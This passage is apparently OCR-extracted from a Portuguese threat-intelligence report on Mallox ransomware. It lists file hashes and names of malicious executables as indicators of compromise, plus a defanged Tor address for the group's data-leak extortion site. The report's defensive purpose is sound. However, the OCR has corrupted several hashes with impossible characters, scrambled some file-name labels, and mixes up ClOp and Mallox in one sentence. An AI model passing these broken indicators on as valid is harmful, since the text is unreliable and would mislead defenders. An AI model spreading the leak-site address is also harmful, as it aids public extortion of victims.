32be900bcfObfdb213ee96e953cd4fe159f15f55b9b107b07d6fcf57alc24f7c

File name;

Indicadores do artefato

b859fc33281054900595598330ba86f3
d3af272fb4a3da27a4a2a155182046c6661e0743

02fb490eb62c2dc8061d7bc81f47207f137e4b77a2b1228443bc405581e06563

File name: FPGGuJqgN.exe
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Indicadores do artefato

91798710166ed4e63d8ed8432aa9b905
a3f7221caa73ab4c39c6c447adf957dbcofab1fd
0d249861eecafc7fbb246de87325da7f122f09dda29b809e1310160406ed6c3f

File name: AV-Mark_241101_R1_45.exe

Indicadores do artefato

e9b0bc2afd0451c70e4cel0705383672
5030266646293c5eea3673b6821d51fe00fd9599
€068e915e998b1def7d54684c4259236f021aa2a2335afec438a45839¢e18efcO
cry.exe

File name:

Indicadores do artefato

a74ee50d2f91f77f010ecb154aa6b30b
90138ac54f4002803b7a88137da5ed2c5e46460c
40b753a3c781f89d55ebff1784ff7419083210e01379bea4f5ef7e05a8609c38

File name: 1windows.exe

Tabela 3 - Indicadores de Comprometimento
Indicadores de URL, IPs e Dominios

Abaixo, podemos observar o Dedicated Leak Site ativo do ClOp, aonde os
dados exfiltrados de suas vitimas, serdo publicados, caso eles nao paguem o
resgate solicitado pelos afiliados.

Dedicated Leak Site

TOR Link: mallox7mk3xvjgh7vbj5j7ixn5dsqax7vpz7h5cfwzfyus3znmn7haqd[.]Jonion

Data Leak Site

Descrigdo: Site de vazamento de dados utilizados pelo grupo Mallox para extorsdo publica das
vitimas.

Tabela 4 - Dedicated Leak Site ativo do Mallox.
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